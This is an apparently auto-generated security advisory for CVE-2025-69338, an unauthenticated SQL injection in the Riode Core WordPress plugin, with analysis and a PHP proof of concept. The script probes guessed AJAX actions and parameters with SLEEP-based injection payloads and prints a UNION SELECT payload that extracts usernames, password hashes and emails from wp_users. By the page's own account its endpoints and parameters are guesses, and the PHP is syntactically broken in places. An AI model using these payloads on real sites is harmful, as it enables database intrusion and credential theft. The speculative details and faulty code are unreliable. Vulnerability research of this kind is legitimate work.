Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69338: Riode Core <= 1.6.26 – Unauthenticated SQL Injection (riode-core)

Plugin riode-core
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.6.26
Patched Version
Disclosed February 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69338 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Riode Core WordPress plugin version 1.6.26 and earlier. The plugin fails to properly sanitize user-supplied parameters before including them in SQL queries. Attackers can exploit this flaw to extract sensitive information from the WordPress database without authentication. The CVSS score of 7.5 (High) reflects the network-based attack vector and high confidentiality impact.

Atomic Edge research infers the root cause from the CWE-89 classification and vulnerability description. The plugin likely constructs SQL queries by directly concatenating unsanitized user input into query strings. WordPress plugins typically use the `$wpdb` class with its `prepare()` method for safe query construction. This vulnerability indicates the plugin either bypassed `$wpdb` entirely or used it incorrectly, failing to properly escape special SQL characters. The description confirms insufficient escaping and lack of preparation, which matches classic SQL injection patterns in WordPress plugins that manually build queries.

Exploitation likely occurs through a public-facing endpoint that accepts user input. WordPress plugin SQL injections commonly surface in AJAX handlers (`admin-ajax.php` or `admin-post.php`) or REST API endpoints. Attackers would send crafted HTTP requests containing SQL injection payloads in specific parameters. The payload would append UNION SELECT statements or use time-based blind techniques to extract database information. A typical attack sequence involves identifying the vulnerable endpoint, determining the number of columns in the vulnerable query, then extracting data from information_schema tables to enumerate the database structure.

The remediation requires implementing proper input validation and parameterized queries. The patched version 1.6.27 likely replaced direct string concatenation with prepared statements using `$wpdb->prepare()`. Developers should also validate that user input matches expected data types before database operations. WordPress security best practices mandate using `$wpdb` methods for all database interactions and applying appropriate sanitization functions like `esc_sql()` when direct query building is unavoidable.

Successful exploitation enables complete database compromise. Attackers can extract sensitive information including WordPress user credentials (hashed passwords), personally identifiable information, plugin-specific data, and site configuration. While the CVSS vector indicates no integrity or availability impact, SQL injection can sometimes lead to privilege escalation if attackers can modify user roles or create administrative accounts. The unauthenticated nature significantly lowers the attack barrier, making this vulnerability particularly dangerous for public-facing WordPress sites.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69338 - Riode Core <= 1.6.26 - Unauthenticated SQL Injection
<?php
/**
 * Proof of Concept for CVE-2025-69338
 * This script demonstrates SQL injection exploitation against Riode Core plugin.
 * Since exact endpoint and parameter details are unavailable from metadata,
 * this PoC shows the general attack pattern for WordPress plugin SQLi.
 * Actual exploitation requires identifying the specific vulnerable endpoint.
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// Common WordPress AJAX action patterns for theme/plugin functionality
$possible_actions = [
    'riode_ajax_action',
    'riode_core_action',
    'riode_get_products',
    'riode_load_more',
    'riode_filter_products'
];

// SQL injection payload to test for vulnerability
// This payload attempts to trigger a time delay if injection is possible
$payloads = [
    '1 AND SLEEP(5)',
    '1' AND SLEEP(5) AND '1'='1',
    '1' OR SLEEP(5) OR '1'='1'
];

// Common parameter names in WordPress plugins
$param_names = ['id', 'product_id', 'category', 'filter', 'type', 'slug'];

foreach ($possible_actions as $action) {
    echo "Testing AJAX action: {$action}n";
    
    foreach ($param_names as $param) {
        foreach ($payloads as $payload) {
            $post_data = [
                'action' => $action,
                $param => $payload,
                'nonce' => 'bypassed' // Nonce may be absent or bypassable in unauthenticated SQLi
            ];
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $target_url);
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);
            
            $start_time = microtime(true);
            $response = curl_exec($ch);
            $end_time = microtime(true);
            
            $response_time = $end_time - $start_time;
            
            if ($response_time > 5) {
                echo "[VULNERABLE] Action: {$action}, Param: {$param}n";
                echo "Response time: {$response_time} secondsn";
                echo "Payload: {$payload}nn";
            }
            
            curl_close($ch);
            
            // Brief pause between requests
            usleep(100000);
        }
    }
}

// Information extraction payload example
$extraction_payload = "1 UNION SELECT user_login,user_pass,user_email FROM wp_users--";

echo "nExample extraction payload for confirmed vulnerability:n";
echo "Parameter value: {$extraction_payload}n";
?>

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